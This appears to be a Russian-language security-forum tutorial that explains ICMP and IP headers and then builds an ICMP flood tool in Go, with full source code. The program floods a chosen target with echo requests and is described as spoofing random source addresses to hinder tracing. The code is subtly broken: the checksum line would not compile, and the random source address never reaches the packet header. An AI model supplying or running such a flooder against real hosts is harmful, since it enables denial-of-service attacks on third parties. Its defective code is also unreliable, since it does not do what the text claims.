• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Пишем программу для ICMP флуда на Golang

В этой статье я хочу показать пример написания программы для ICMP(Internet Control Message Protocol) флуда на языке Golang.

Важное примечание: код, представленный в этой статье, предназначен исключительно для учебных и исследовательских целей. Автор не несет ответственности за любое неправомерное или незаконное использование этого кода. Использование данного кода в целях, нарушающих закон, строго запрещено.


Что такое ICMP?​

ICMP - это один из основных протоколов сетевого уровня в стеке протоколов TCP/IP. Он не предназначен для передачи данных между конечными пользователями, а служит для управления и передачи служебной информации между сетевыми устройствами. ICMP используется, например, для обнаружения ошибок в сети, информирования об этих ошибках и проведения диагностики.

Самыми известными примерами использования ICMP являются утилиты ping и traceroute(Статьи для ping и traceroute выйдут позже ;)). Первая отправляет ICMP Echo Request пакеты на указанный хост и ждёт Echo Reply в ответ, позволяя таким образом проверить доступность хоста и время отклика. Вторая использует ICMP для определения маршрута пакетов от источника к назначению, путём последовательного увеличения значения поля "время жизни" (TTL) в IP-заголовке пакета.

ICMP пакеты часто инкапсулированы в IP-пакеты для передачи по сети. Каждый ICMP-пакет, как правило, состоит из заголовка и данных. Заголовок обычно содержит тип сообщения, код и контрольную сумму, а данные могут включать дополнительную информацию, необходимую для обработки пакета.

Важно понимать, что, несмотря на свою полезность в диагностике сети, ICMP также может быть использован в недобросовестных целях, таких как проведение DoS-атак. По этой причине, многие сетевые устройства предоставляют возможность ограничения или фильтрации ICMP-трафика.

Что такое ICMP-флуд?​

ICMP-флуд - это вид сетевой атаки, при которой злоумышленник отправляет большое количество ICMP пакетов, обычно типа "Echo Request" (это те самые пакеты, которые используются в команде ping), на целевую систему. Цель атаки - исчерпать сетевые ресурсы жертвы, что может привести к замедлению или полной недоступности сервера или сетевого устройства.

В отличие от TCP, протокол ICMP не требует установления соединения и подтверждения получения пакетов, что делает его уязвимым для такого рода атак. Злоумышленник может также подделать IP-адрес отправителя, чтобы затруднить выявление источника атаки.

Часто используется широкий диапазон IP-адресов отправителей для маскировки исходного местоположения злоумышленника и для усиления эффекта атаки. Это также затрудняет блокировку атаки, так как блокировка одного IP-адреса не прекращает поток вредоносных пакетов.

Защита от ICMP-флуда часто осложнена тем, что полное блокирование ICMP-трафика может привести к проблемам в работе сети, так как ICMP используется для различных важных задач, таких как обнаружение маршрутов или диагностика сетевых проблем.

Go библиотеки необходимые для работы с ICMP пакетами:​

Для написания программы на Go, которая работает с ICMP-пакетами нам пригодятся библиотека: "golang.org/x/net/ipv4".
Эти библиотека предоставляет утилиты для работы с протоколами IPv4 и ICMP. Она включает функции для создания, анализа и обработки пакетов.

Заголовок ICMP​

Заголовок ICMP-пакета (Internet Control Message Protocol) имеет относительно простую структуру и состоит из следующих полей:
  1. Тип (Type): 8-битное поле, указывающее тип ICMP-сообщения. Например, эхо-запрос (ping) имеет тип 8, а эхо-ответ (pong) — тип 0.
  2. Код (Code): 8-битное поле, которое дает дополнительную информацию о типе сообщения. Для большинства типов сообщений это поле устанавливается в 0.
  3. Контрольная сумма (Checksum): 16-битное поле, используемое для обнаружения ошибок в заголовке и данных ICMP.
  4. Данные (Data): Это поле опционально и его наличие, а также формат зависят от типа и кода ICMP-сообщения. Например, в эхо-запросе и эхо-ответе здесь размещаются идентификатор и порядковый номер.
Для некоторых типов ICMP-сообщений могут быть дополнительные поля, но базовые поля (Тип, Код и Контрольная сумма) всегда присутствуют.
В современных языках программирования, таких как Go, эти поля обычно представлены структурами, которые упрощают создание и анализ ICMP-пакетов.

Заголовок IP пакета​

Заголовок IP-пакета (Internet Protocol) имеет более сложную структуру, чем ICMP-пакет, и состоит из следующих основных полей:
  1. Версия (Version): 4-битное поле, указывающее версию IP-протокола. Для IPv4 это значение равно 4.
  2. Длина заголовка (IHL, Header Length): 4-битное поле, указывающее длину заголовка в 32-битных словах. Обычно значение равно 5, что означает, что заголовок составляет 20 байт.
  3. Тип обслуживания (TOS, Type of Service): 8-битное поле, определяющее как роутеры должны обрабатывать пакет.
  4. Общая длина (Total Length): 16-битное поле, указывающее общую длину IP-пакета в байтах, включая заголовок и данные.
  5. Идентификация (ID): 16-битное поле, уникально идентифицирующее пакет в потоке данных между отправителем и получателем.
  6. Флаги (Flags) и смещение фрагмента (Fragment Offset): Эти поля используются для управления фрагментацией пакета.
  7. Время жизни (TTL, Time to Live): 8-битное поле, указывающее максимальное количество промежуточных узлов (роутеров), через которые может пройти пакет.
  8. Протокол (Protocol): 8-битное поле, указывающее протокол транспортного уровня, используемый для передачи данных (например, TCP, UDP или ICMP).
  9. Контрольная сумма заголовка (Header Checksum): 16-битное поле для обнаружения ошибок в самом заголовке.
  10. IP-адрес источника (Source IP Address): 32-битный адрес, откуда отправлен пакет.
  11. IP-адрес назначения (Destination IP Address): 32-битный адрес, куда направлен пакет.
  12. Опции (Options): Это поле опционально и может быть использовано для различных дополнительных функций, таких как безопасность, маршрутизация и т.д.
Эти поля вместе формируют заголовок IP-пакета, который предшествует данным пакета.

Реализация программы​


Код:
sd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_ICMP)

Разберем аргументы функции syscall.Socket:

- syscall.AF_INET: Этот аргумент указывает, что сокет будет использовать протокол IPv4.
- syscall.SOCK_RAW: Этот аргумент указывает, что сокет будет "сырым", что позволяет напрямую отправлять и получать IP-пакеты без дополнительной обработки операционной системой.
- syscall.IPPROTO_ICMP: Этот аргумент указывает, что сокет будет использоваться для работы с протоколом ICMP.

Функция возвращает два значения:
sd: Это файловый дескриптор сокета, который затем можно использовать для отправки или получения данных.

err: Это объект ошибки, который будет не nil, если при создании сокета возникли проблемы.


Код:
err = syscall.SetsockoptInt(sd, syscall.IPPROTO_IP, syscall.IP_HDRINCL, 1)
Эта строка устанавливает опцию сокета для включения заголовка IP в пакеты, отправляемые через этот сокет. Разберем аргументы функции syscall.SetsockoptInt:

- sd: Это файловый дескриптор сокета, который был создан ранее. Опция будет применена к этому сокету.
- syscall.IPPROTO_IP: Это уровень протокола, на котором устанавливается опция. В данном случае, это уровень IP.
- syscall.IP_HDRINCL: Это конкретная опция, которую мы хотим установить. Включение этой опции позволяет программе включать свой собственный заголовок IP в отправляемые пакеты.
- 1: Если бы вы установили это значение равным `0`, это бы означало, что заголовок IP не включен..

Код:
err = syscall.SetsockoptInt(sd, syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1)
Эта строка кода устанавливает опцию сокета, разрешая ему отправлять широковещательные (broadcast) пакеты. Давайте разберём каждый из аргументов в функции `syscall.SetsockoptInt`:

- sd: Это файловый дескриптор сокета, который был создан ранее. Опция будет установлена для этого сокета.
- syscall.SOL_SOCKET: Это уровень на котором устанавливается опция. В данном случае, это уровень сокета.
- syscall.SO_BROADCAST: Это конкретная опция, которую мы хотим установить. Установка этой опции в "включено" разрешает сокету отправку широковещательных пакетов.
- 1: Значение, устанавливаемое для опции. 1 включает опцию SO_BROADCAST, а 0 ее отключает.

Код:
servAddr = ip2sockaddr(dstAddr.String())

Эта функция принимает строковое представление IPv4-адреса в формате "xxx.xxx.xxx.xxx" и конвертирует его в структуру syscall.SockaddrInet4.

Функция createPkt создаёт и возвращает ICMP-пакет в виде массива байтов, готового для отправки через сетевой сокет. Она принимает следующий параметр:
- dstAddr: конечный IP-адреса в формате net.IP.

Процесс создания пакета проходит в несколько этапов:

Код:
pkt := createPkt(dstAddr)
  1. Создание заголовка IP: В этой части используется структура ipv4.Header из библиотеки golang.org/x/net/ipv4. Эта структура заполняется соответствующими значениями, включая исходный и конечный IP-адреса, версию IP-протокола, длину заголовка и другие параметры.
  2. Создание ICMP-сообщения. Здесь указывается тип сообщения (в данном случае, это эхо-запрос), код и тело сообщения, которое содержит идентификатор и порядковый номер.
  3. Сериализация заголовков: Заголовки IP и ICMP сериализуются в байтовые массивы с помощью метода `Marshal`.
  4. Объединение заголовков и данных: В конце созданные байтовые массивы для IP и ICMP заголовков объединяются в один массив байтов, который и будет ICMP-пакетом.
В результате функция возвращает этот массив байтов, который теперь можно отправить через сетевой сокет.

Код:
for {
        select {
        case <-signalChannel:
            fmt.Println("Received SIGINT, exiting...")
            syscall.Close(sd)
            return
        default:
            randIP = randomIP4()
            srcAddr = net.ParseIP(randIP)
            if srcAddr == nil {
                log.Fatalln("Failed to parse ip:", randIP)
            }

            pkt := createPkt(dstAddr)

            fmt.Println(srcAddr, dstAddr)
            err = syscall.Sendto(sd, pkt, 0, &servAddr)
            if err != nil {
                log.Fatalln("Sendto() failed:", err)
            }
        }
    }

в этом бесконечном цикле происходит несколько ключевых вещей:

1. Отправка ICMP-пакета: Сначала выводятся на экран IP-адреса источника и назначения. Затем вызывается функция syscall.Sendto, которая отправляет ICMP-пакет (pkt) на указанный сервер (servAddr).
Код:
err = syscall.Sendto(sd, pkt, 0, &servAddr)
2.
Код:
randIP = randomIP4()
srcAddr = net.ParseIP(randIP)

a. randomIP4() вызывается для генерации случайного IP-адреса, который сохраняется в randIP.
b. net.ParseIP(randIP) преобразует случайно сгенерированный строковый IP-адрес в тип net.IP и сохраняет его в srcAddr.
Это позволяет вам дать программе возможность каждый раз генерировать новый случайный исходный IP-адрес.
3. Бесконечное повторение: Цикл продолжается бесконечно, выполняя вышеуказанные шаги, пока не будет прерван.

Данный цикл эффективно создаёт "флуд" ICMP-пакетов, отправляемых на целевой сервер. Каждый новый ICMP-пакет будет иметь новый случайный адрес источника, что делает его ещё более трудным для отслеживания.

Заключение​

В данной статье мы подробно рассмотрели, как создать программу для ICMP флуда на языке Golang. Мы изучили некоторые аспекты системного программирования в Golang, включая создание сокетов и формирование ICMP и IP-заголовков для пакетов.

Однако стоит еще раз подчеркнуть: представленный код и методы разработаны исключительно в учебных и исследовательских целях. Они не должны использоваться для проведения несанкционированных или вредоносных действий.

Надеюсь, статья была полезной и познавательной для вас!


Код:
package main

import (
    "flag"
    "fmt"
    "golang.org/x/net/ipv4"
    "log"
    "math/rand"
    "net"
    "strconv"
    "strings"
    "os"
    "os/signal"
    "syscall"
    "time"
)


func main() {
    var srcAddr net.IP
    var dstAddr net.IP
    var randIP string
    var servAddr syscall.SockaddrInet4

    // Получение аргумента для указания адреса назначения
    dstParam := flag.String("dst", "", "dst addr")
    flag.Parse()

    if len(*dstParam) == 0 {
        log.Fatalln("dst is required param")
    }

    // Создание "сырого" сокета
    sd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_ICMP)
    if err != nil {
        log.Fatalln("Failed to create raw socket: %s\n", err)
    }
    defer syscall.Close(sd)

    err = syscall.SetsockoptInt(sd, syscall.IPPROTO_IP, syscall.IP_HDRINCL, 1)
    if err != nil {
        log.Fatalln("Failed to set socket options: %v\n", err)
    }

    err = syscall.SetsockoptInt(sd, syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1)

    if err != nil {
        log.Fatalln("Failed to set socket options: %v\n", err)
    }

    dstAddr = net.ParseIP(*dstParam)
    if dstAddr == nil {
        log.Fatalln("Failed to parse ip:", *dstParam)
    }
 
    // Конвертация IP в Sockaddr
    servAddr = ip2sockaddr(dstAddr.String())

    signalChannel := make(chan os.Signal, 1)
    signal.Notify(signalChannel, syscall.SIGINT)

    // Бесконечный цикл отправки пакетов
    for {
        select {
        case <-signalChannel:
            // Выход по получении SIGINT
            fmt.Println("Received SIGINT, exiting...")
            syscall.Close(sd)
            return
        default:
            // Генерация случайного IP
            randIP = randomIP4()
            srcAddr = net.ParseIP(randIP)
            if srcAddr == nil {
                log.Fatalln("Failed to parse ip:", randIP)
            }
         
            // Создание и отправка пакета
            pkt := createPkt(dstAddr)

            fmt.Println(srcAddr, dstAddr)
            err = syscall.Sendto(sd, pkt, 0, &servAddr)
            if err != nil {
                log.Fatalln("Sendto() failed:", err)
            }
        }
    }
}


// Функция для конвертации IP-адреса в Sockaddr
func ip2sockaddr(ip string) syscall.SockaddrInet4 {
    addr := [4]byte{}
    fmt.Sscanf(ip, "%d.%d.%d.%d", &addr[0], &addr[1], &addr[2], &addr[3])
    sockAddr := syscall.SockaddrInet4{
        Port: 0,
        Addr: addr,
    }

    return sockAddr
}


// Функция для генерации случайного IP-адреса
func randomIP4() string {
    rand.Seed(time.Now().UnixNano())
    blocks := []string{}
    for i := 0; i < 4; i++ {
        number := rand.Intn(255)
        blocks = append(blocks, strconv.Itoa(number))
    }

    return strings.Join(blocks, ".")
}


// Функция для создания пакета
func createPkt(dstAddr net.IP) []byte {
    /** creating package **/
    /**
    type Header struct {
        Version  int         // protocol version
        Len      int         // header length
        TOS      int         // type-of-service
        TotalLen int         // packet total length
        ID       int         // identification
        Flags    HeaderFlags // flags
        FragOff  int         // fragment offset
        TTL      int         // time-to-live
        Protocol int         // next protocol
        Checksum int         // checksum
        Src      net.IP      // source address
        Dst      net.IP      // destination address
        Options  []byte      // options, extension headers
    }
    **/

    h := ipv4.Header{
        Version:  4,  // Версия протокола IPv4
        Len:      20,  // Длина заголовка
        TotalLen: 20 + 10,  // Общая длина пакета
        TTL:      64,  // Время жизни пакета
        Protocol: 1,  // Протокол (ICMP)
        Dst:      dstAddr,  // Адрес назначения
    }
 
    // Создание ICMP-сообщения  
    icmp := []byte{
        8,  // тип: эхо-запрос
        0,  // код: не используется эхо-запросом
        0,  // контрольная сумма (16 бит), заполним ниже
        0,
        0,  // идентификатор (16 бит). допускается ноль
        0,
        0,  // порядковый номер (16 бит). допускается ноль
        0,
        0xC0,  // Дополнительные данные. ping помещает сюда время отправки пакета
        0xDE,
    }

    // Вычисление контрольной суммы
    cs := csum(icmp)
    icmp[2] = byte(cs)
    icmp[3] = byte(cs >> 8)

    // Объединение заголовка IP и ICMP
    out, err := h.Marshal()
    if err != nil {
        log.Fatal(err)
    }
    return append(out, icmp...)
}


// Функция для вычисления контрольной суммы
func csum(b []byte) uint16 {
    var s uint32
    for i := 0; i < len(b); i += 2 {
        s += uint32(b[i+1])<<8 | uint32(b)
    }
    s = s>>16 + s&0xffff
    s = s + s>>16
    return uint16(^s)
}
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!